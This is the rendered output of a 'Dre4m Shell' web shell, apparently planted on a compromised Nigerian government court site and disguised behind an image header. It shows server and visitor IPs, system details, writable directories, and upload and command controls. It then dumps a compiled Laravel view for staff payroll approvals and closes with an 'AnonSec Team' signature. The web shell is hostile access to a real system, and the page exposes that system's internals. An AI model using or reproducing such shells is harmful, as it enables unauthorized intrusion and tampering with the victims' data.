ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.46.181
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/c41e9bdfd9f9479095c75a1a375b8985762be5dc.php
<?php $__env->startSection('pageTitle'); ?>
    Staff Control Variable Approval
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>

    <div id="editModal" class="modal fade">
        <div class="modal-dialog box box-default" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h4 class="modal-title">Approve Control Variable</h4>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <form class="form-horizontal" id="editpartModal" name="editpartModal" role="form" method="POST"
                    action="">
                    <?php echo e(csrf_field()); ?>

                    <div class="modal-body">
                        <div class="form-group" style="margin: 0 10px;">
                            <div class="col-sm-12">
                                <label class="col-sm-12 control-label"><b>Are you sure you want to approve staff control variable modification?</b></label>
                            </div>
                            <input type="hidden" id="editStaffCv" name="editStaffCv" value="">
                            <input type="hidden" id="amount" name="amount" value="">
                            <input type="hidden" id="remark" name="remark" value="">
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="Submit" class="btn btn-success">Save changes</button>
                        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    </div>

                </form>
            </div>

        </div>
    </div>

    <div id="DeleteModal" class="modal fade">
        <div class="modal-dialog box box-default" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h4 class="modal-title">Delete Variable</h4>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action="">
                    <?php echo e(csrf_field()); ?>

                    <div class="modal-body">
                        <div class="form-group" style="margin: 0 10px;">
                            <div class="col-sm-12">
                                <label class="col-sm-9 control-label"><b>Are you sure you want to delete this
                                        record?</b></label>
                            </div>
                            <input type="hidden" id="deleteid" name="deleteid" value="">
                        </div>
                    </div>
                    <div class="modal-footer">
                        <button type="Submit" class="btn btn-success">Yes</button>
                        <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
                    </div>

                </form>
            </div>

        </div>
    </div>

    <div class="box box-default">
        <div class="box-body box-profile">
            <div class="box-header with-border hidden-print">
                <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
                <span class="pull-right"> <span class="badge badge-lg bg-red"><?php echo e($pending); ?></span> Pending Approval </span>
            </div>

            


            <div class="box-body">
                <div class="row">
                    <div class="col-md-12"><!--1st col-->
                        <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>

                        <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
                            <table class="table table-bordered table-striped table-highlight">
                                <thead>
                                    <tr bgcolor="#c7c7c7">
                                        <th>S/N</th>
                                        <th>CV Description</th>
                                        <th>Staff</th>
                                        <th>Division</th>
                                        <th>Old Amount</th>
                                        <th>New Amount</th>
                                        <th>Requested By</th>
                                        <th>Reason</th>
                                        
                                        <th>Action</th>
                                    </tr>
                                </thead>
                                <?php $i = 1; ?>
                                <tbody>

                                    <?php $__currentLoopData = $staffCvTemp; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <tr>
                                            <td><?php echo e($i++); ?></td>
                                            <td><?php echo e($list->description); ?></td>
                                            <td><?php echo e($list->surname . ' ' . $list->first_name . ' ' . $list->othernames); ?>

                                            </td>
                                            <td><?php echo e($list->division); ?></td>
                                            <td><?php echo e($list->oldAmount); ?></td>
                                            <td><?php echo e($list->newAmount); ?></td>
                                            <td><?php echo e($list->requesterName); ?></td>
                                            <td><?php echo e($list->remark); ?></td>
                                            
                                            
                                            <td>
                                                <?php if($list->approvedBy == null): ?>
                                                    <button class="btn btn-sm btn-primary" style="cursor: pointer;"
                                                        onclick="editfunc('<?php echo e($list->tblstaffcvId); ?>', '<?php echo e($list->newAmount); ?>', '<?php echo e($list->remark); ?>')">Approve</button>
                                                <?php else: ?>
                                                    <span class="text-success"><strong><i>Approved By:</i></strong></span>
                                                    <?php echo e($list->approvalName); ?>

                                                <?php endif; ?>

                                                <?php if($list->approvedBy == null): ?>
                                                    <button class="btn btn-sm btn-danger" style="cursor: pointer;"
                                                        onclick="deletefunc('<?php echo e($list->id); ?>')">Delete</button>
                                                <?php endif; ?>
                                            </td>
                                        </tr>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </tbody>
                            </table>

                            <div class="hidden-print"><?php echo e($staffCvTemp->links()); ?></div>
                        </div>

                        <hr />
                    </div>

                </div>
            </div>



        <?php $__env->stopSection(); ?>

        <?php $__env->startSection('styles'); ?>
            <style type="text/css">
                .modal-dialog {
                    width: 13cm
                }

                .modal-header {

                    background-color: #006600;

                    color: #FFF;

                }

                #partStatus {
                    width: 2.5cm
                }
            </style>
        <?php $__env->stopSection(); ?>

        <?php $__env->startSection('scripts'); ?>
            <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
            <script>
                function editfunc(x, y, z) {
                    document.getElementById('editStaffCv').value = x;
                    document.getElementById('amount').value = y;
                    document.getElementById('remark').value = z;
                    $("#editModal").modal('show')
                }

                function deletefunc(x, y, a) {
                    document.getElementById('deleteid').value = x;
                    $("#DeleteModal").modal('show');
                }

                function getDivisions() {
                    document.getElementById('fileNo').value = "";
                    if ($('#court').val() !== "") {
                        $('#form1').submit();
                    }
                }

                function getStaff() {
                    document.forms["mainform"].submit();
                }

                function getTable() {
                    if ($('#fileNo').val() !== "") {
                        $('#form1').submit();
                    }
                }

                function Reload() {
                    document.forms["mainform"].submit();
                    return;
                }

                function StaffSearchReload() {
                    document.getElementById('fileNo').value = document.getElementById('userSearch').value;
                    document.forms["mainform"].submit();
                    return;
                }
            </script>

        <?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/CVModule/approval.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team